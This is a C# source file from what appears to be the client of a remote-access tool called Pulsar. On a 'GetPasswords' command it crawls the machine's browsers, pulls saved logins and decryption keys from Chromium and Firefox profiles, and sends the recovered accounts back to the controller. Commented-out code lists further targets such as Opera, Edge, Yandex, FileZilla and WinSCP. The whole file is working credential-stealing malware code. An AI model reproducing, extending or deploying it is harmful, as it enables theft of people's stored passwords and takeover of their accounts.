Files
PulsarK-main/Pulsar.Client/Messages/PasswordRecoveryHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

120 lines
3.5 KiB
C#

using Pulsar.Client.Recovery;
using Pulsar.Client.Recovery.Browsers;
using Pulsar.Client.Recovery.Crawler;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.Passwords;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
//public struct BrowserChromium
//{
// public string Name;
// public string Path;
// public string LocalState;
// public ProfileChromium[] Profiles;
//}
//public struct ProfileChromium
//{
// public string Name;
// public string LoginData;
// public string Path;
//}
//public struct BrowserGecko
//{
// public string Name;
// public string Path;
// public string Key4;
// public string Logins;
//}
namespace Pulsar.Client.Messages
{
public class PasswordRecoveryHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetPasswords;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPasswords msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetPasswords message)
{
List<RecoveredAccount> recovered = new List<RecoveredAccount>();
//var passReaders = new IAccountReader[]
//{
// new BravePassReader(),
// new ChromePassReader(),
// new OperaPassReader(),
// new OperaGXPassReader(),
// new EdgePassReader(),
// new YandexPassReader(),
// new FirefoxPassReader(),
// new InternetExplorerPassReader(),
// new FileZillaPassReader(),
// new WinScpPassReader()
//};
//foreach (var passReader in passReaders)
//{
// try
// {
// recovered.AddRange(passReader.ReadAccounts());
// }
// catch (Exception e)
// {
// Debug.WriteLine(e);
// }
//}
List<Recovery.Browsers.AllBrowsers> browsers = Crawl.Start();
foreach (var browser in browsers)
{
foreach (var chromium in browser.Chromium)
{
foreach (var profile in chromium.Profiles)
{
try
{
recovered.AddRange(ChromiumBase.ReadAccounts(profile.LoginData, chromium.LocalState, chromium.Name));
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
}
foreach (var gecko in browser.Gecko)
{
try
{
recovered.AddRange(FirefoxPassReader.ReadAccounts(gecko.ProfilesDir, gecko.Name));
}
catch (Exception e)
{
Debug.WriteLine(e);
}
//Debug.WriteLine(gecko.Path);
}
}
client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
}
}
}